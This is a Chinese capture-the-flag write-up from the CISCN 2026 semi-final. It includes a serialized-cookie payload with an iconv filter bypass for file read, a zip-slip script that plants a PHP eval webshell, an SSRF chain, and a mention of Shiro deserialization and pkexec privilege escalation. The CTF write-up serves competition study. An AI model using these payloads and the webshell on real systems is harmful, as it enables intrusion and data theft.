CISCN2026半决赛wp

第一次参加线下赛,拿了三等奖,有一题还是挺可惜的,拿到shell了,但没时间找flag,明年继续加油吧。

MediaDrive

FIX

扫描发现可能有三个漏洞,文件读取,文件上传等,我一开始上了些waf没过,第二次直接上通防就修复成功了。

dr0op/k4l0ng_WAF: A broute detect WAF by PHP using to AWD

BREAK

从源码中可以看到,user的信息是cookie反序列化得到的

php 复制代码
if (isset($_COOKIE['user'])) {
    $user = @unserialize($_COOKIE['user']);
}

这里主要关注preview.php

rawPathf两个参数都是用户可控的,拼接后进行正则匹配,匹配后通过iconv函数进行编码的转换

可以看到iconv("UTF-8", "ISO-8859-1//IGNORE", $text)

如果你添加了字符串 //IGNORE,不能以目标字符集表达的字符将被默默丢弃。

在UTF-8与ISO-8859-1的转换中会被丢弃

php 复制代码
# preview.php
$rawPath = $user->basePath . $f;

if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {
    http_response_code(403);
    echo "Access denied";
    exit;
}

$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
if ($convertedPath === false || $convertedPath === "") {
    http_response_code(500);
    echo "Conversion failed";
    exit;
}

$content = @file_get_contents($convertedPath);

攻击思路:

将编码偏好改为ISO-2022-CN-EXT,并将basePath改为根目录/,把f变为f€lag

php 复制代码
$serilized = "O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22encoding%22%3Bs%3A15%3A%22ISO-2022-CN-EXT%22%3Bs%3A8%3A%22basePath%22%3Bs%3A1%3A%22%2F%22%3B%7D"

class __PHP_Incomplete_Class#1 (4) {
  public $__PHP_Incomplete_Class_Name =>
  string(4) "User"
  public $name =>
  string(5) "guest"
  public $encoding =>
  string(15) "ISO-2022-CN-EXT"
  public $basePath =>
  string(1) "/"
}

由于是先检测后编码转换,f€lag会绕过正则,编码转换后又变回flag,成功绕过

EASY_TIME

BREAK

从dockerfile中可以发现起了两个服务,5000端口是对外的pyhton,80是内部的php服务

dockerfile 复制代码
FROM php:8.2.6-apache

ENV PYTHONUNBUFFERED=1 \
	PYTHONDONTWRITEBYTECODE=1

RUN docker-php-ext-configure opcache --enable-opcache \
	&& docker-php-ext-install opcache \
	&& sed -i 's|http://deb.debian.org|https://deb.debian.org|g' /etc/apt/sources.list \
	&& sed -i 's|http://security.debian.org|https://security.debian.org|g' /etc/apt/sources.list \
	&& apt-get update -o Acquire::Retries=5 \
	&& apt-get install -y --no-install-recommends supervisor python3 python3-venv python3-distutils python3-pip \
	&& rm -rf /var/lib/apt/lists/*

WORKDIR /app

RUN pip3 install --no-cache-dir flask werkzeug

RUN mkdir -p /app/uploads /app/plugins /app/static/uploads/avatars

COPY . /app

COPY html/ /var/www/html/

COPY php.ini-development /usr/local/etc/php/php.ini

RUN rm -rf /app/html /app/Dockerfile /app/docker-compose.yaml /app/docker-compose.yml /app/php.ini*


COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf

EXPOSE 80 5000

CMD ["supervisord", "-c", "/etc/supervisor/conf.d/supervisord.conf"]
yaml 复制代码
    ports:
      - "5000:5000"
    expose:
      - "80"

爆破得出密码是secret,成功登录

python 复制代码
        if username == 'admin' and h2 == "7022cd14c42ff272619d6beacdc9ffde":
            resp = flask.make_response(flask.redirect(next_url))
            resp.set_cookie('visited', 'yes', httponly=True, samesite='Lax')
            resp.set_cookie('user', username, httponly=True, samesite='Lax')
            return resp

个人头像中存在SSRF

python 复制代码
def fetch_remote_avatar_info(url: str):
    if not url:
        return None

    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in {"http", "https"}:
        return None
    if not parsed.hostname:
        return None

    req = urllib.request.Request(url, method="GET", headers={"User-Agent": "question-app/1.0"})
    

    try:
        with urllib.request.urlopen(req, timeout=3) as resp:
            content = resp.read()
            return {
                "content_snippet": content,
                "status": getattr(resp, "status", None),
                "content_type": resp.headers.get("Content-Type", ""),
                "content_length": resp.headers.get("Content-Length", ""),
            }
    except Exception:
        return None

上传插件的函数没对压缩包中的文件名进行过滤,直接拼接,存在路径遍历漏洞

python 复制代码
def safe_upload(zip_path: Path, dest_dir: Path) -> list[str]:
    with zipfile.ZipFile(zip_path, 'r') as z:
        for info in z.infolist():
            target = os.path.join(dest_dir, info.filename)  
            if info.is_dir():
                os.makedirs(target, exist_ok=True)
            else:
                os.makedirs(os.path.dirname(target), exist_ok=True)
                with open(target, 'wb') as f:
                    f.write(z.read(info.filename))  

现在的攻击链就很清晰了,构造恶意压缩包写🐎,然后通过SSRF来读flag

python 复制代码
import zipfile
import io

def create_payload_zip():
    zip_buffer = io.BytesIO()
    
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        zip_entry_name = "../../../var/www/html/shell.php"
        php_content = b"""
        <?php
            @eval($_GET[1]);
		?>
"""
        zf.writestr(zip_entry_name, php_content)
    

    with open("payload.zip", "wb") as f:
        f.write(zip_buffer.getvalue())
        
    print(f"[*] Target Path: {zip_entry_name}")

if __name__ == "__main__":
    create_payload_zip()

用find命令找flag,这里的空格要url编码一次

FIX

思路是禁止加载远程头像的功能和检测压缩包内文件的文件名,但试了几次都没成功,很想知道check脚本是怎么写的。

ISW

靶机三

flag1

发现是java的服务,并且返回包中有rememberMe,猜测可能有shiro反序列化,直接用工具一把梭,读到根目录的flag。

flag2

建立立足点,上传jsp🐎连上蚁剑,我知道的提权方式都试过了,都没成功,赛后才知道是pkexec提权(渗透打的还是太少了)。下面是poc

arthepsy/CVE-2021-4034: PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit's pkexec (CVE-2021-4034)

相关推荐
兵慌码乱2 小时前
基于 MediaPipe 与 PySide2 的手势交互音乐控制系统实现:轻量化视觉交互全流程解析
python·opencv·计算机视觉·人机交互·手势识别·mediapipe·pyside2
luckdewei5 小时前
FastAPI 资产管理系统实战:复杂 ORM 关联、Alembic 迁移与 N+1 查询优化
python
两个人的幸福9 小时前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
aqi0011 小时前
15天学会AI应用开发(八)使用向量数据库实现RAG功能
人工智能·python·大模型·ai编程·ai应用
Csvn12 小时前
`functools.lru_cache` —— 一行代码搞定缓存加速
后端·python
金銀銅鐵1 天前
[Python] 从《千字文》中随机挑选汉字
后端·python
cup111 天前
[技术复盘] Windows Python 打包实战:Nuitka 环境踩坑总结与 CI 自动化构建全指南
python·ai·环境变量·ci·nuitka·skill
aqi001 天前
15天学会AI应用开发(七)有了大模型为什么还要引入RAG
人工智能·python·大模型·ai编程·ai应用